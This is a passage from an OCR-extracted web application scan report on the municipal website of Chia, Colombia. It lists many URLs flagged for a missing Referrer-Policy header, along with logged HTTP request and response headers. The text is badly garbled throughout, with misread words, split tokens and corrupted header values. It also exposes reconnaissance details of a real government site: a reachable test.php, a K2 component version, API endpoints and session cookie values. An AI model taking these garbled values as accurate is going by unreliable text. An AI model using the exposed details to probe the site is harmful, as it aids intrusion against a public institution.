No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 28/ dat os-
abi ertos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 28/ dat os- abi ert os/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 04:52:23 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ post s/ 585>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov. co
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https://chia-cundinamarca.gov.co/web/2023/12/28/datos-abiertos/

[/ web/ ?p=585>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ contr ol -
i nterno-disciplinariol/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt erno-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 616>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-

factura-de-los-impuestos-predial-e-ica/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso-
par a- acceder - a- su- est ado- de- cuent a- |1 i qui daci on-y-factura-de-1o0s-i npuest os-predial -e-ical

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial-e-ical

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ posts/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=18365>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chi a-cundi namarca. gov. co/ web/ 2024/ 02/ 26/ i mnpuest o-
predi al -uni fi cado/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS
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https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 06:17:33 GMVI

Content - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEG- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

QUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 12/ 18/ chi a- se-
dest aca- en- gesti on-soci al - graci as- a- bl anca-donoso/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:08:06 GV

Cont ent- Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/
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Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os-
mayor es- de- chi a- se- gozar on- boyaca/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 07:21:39 GVl

Content - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
[ wp-j son/ wp/ v2/ posts/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22400>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vil/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/29/secretarias/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ secret ari as/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Web Application Scanning Detailed Scan Export:
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Sec- Ch-Ua- Pl atform "Linux"
Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:25:45 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ posts/ 653>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=653>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/transparencia-y-acceso-a-la-informacion-publica/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ t ranspar enci a- y- acceso-
a- | a-infornaci on- publica/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ t ranspar enci a- y- acceso- a- | a-i nf or maci on- publ i ca/

REQUEST HEADERS

Referer: https://chia-cundi namar ca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sanme-origin

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Myzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 00:38: 08 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/wp/ v2/ pages/ 21>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=21>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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INSTANCE
https://chia-cundinamarca.gov.co/web/2023/12/30/7-1-4-programa-de-gestion-documental/

Identification

QUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4-
pr ogr ane- de- gesti on- docunent al /

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 30/ 7- 1- 4- pr ogr ana- de- gest i on- docunent al /

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:16:57 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 805>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=805>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/tramites-y-servicios/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/tranmites-y-servicios/

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/tram tes-y-servicios/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent
Sec- Fet ch- Mbde: navi gate
Sec-Fetch-Site: none
Sec- Fetch-User: 7?1
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Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:50:28 GV

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 63>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=63>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/10/24/comienza-el-censo-a-bares-y-establecimientos-nocturnos/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 10/ 24/ com enza- el -
censo- a- bar es-y- est abl eci m ent os- noct ur nos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 10/ 24/ comi enza- el - censo- a- bar es- y- est abl eci m ent os- noct ur nos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unif;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:43:09 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 20823>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=20823>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
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X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web
Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ i ndex. php/tram tes-y-
servi ci os/ si shen

HTTP Info

REQUEST MADE
GET /index. php/tramtes-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be42; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Cont ent - Type: text/htm; charset=utf-8

Transf er - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GvIT

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 04:01:41 GMVI

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-

servicios-publicos/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os-
canal es- de- at enci on-de- | as- enpr esas- pr est ador as- de- servi ci os- publ i cos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servi ci os-publicos/

REQUEST HEADERS

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 248 of 348


https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromiunt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 05:51:53 GJI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov.co/web
[/ wp-j son/ wp/ v2/ posts/ 19440>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/informacion-de-la-entidad/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on-
de-1 a-enti dad/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ i nf or maci on- de- | a- ent i dad/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 03:11:24 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 632>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov. co
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[/ web/ ?p=632>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/
X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/test. php

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ test. php

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:22:54 GVI
Cont ent - Type: text/htm; charset=UTF-8
Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/17/1os-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-

cultura-en-chia/

Identification

OUTPUT
No Referrer-Policy headers or body neta tags were found on https://chia-cundi namarca. gov. co/ web/ 2024/ 12/ 17/ | os- sal ones-
de-artes-pl asti cas-abren-sus-puertas-para-el-arte-y-cul tura-en-chia/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ | os- sal ones- de- art es- pl asti cas- abren-sus-puertas-para-el-arte-y-
cul tura-en-chia/
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REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVl

Cont ent- Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
/wp-j son/ wp/ v2/ posts/ 22370>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- API - VERSI O\ v1

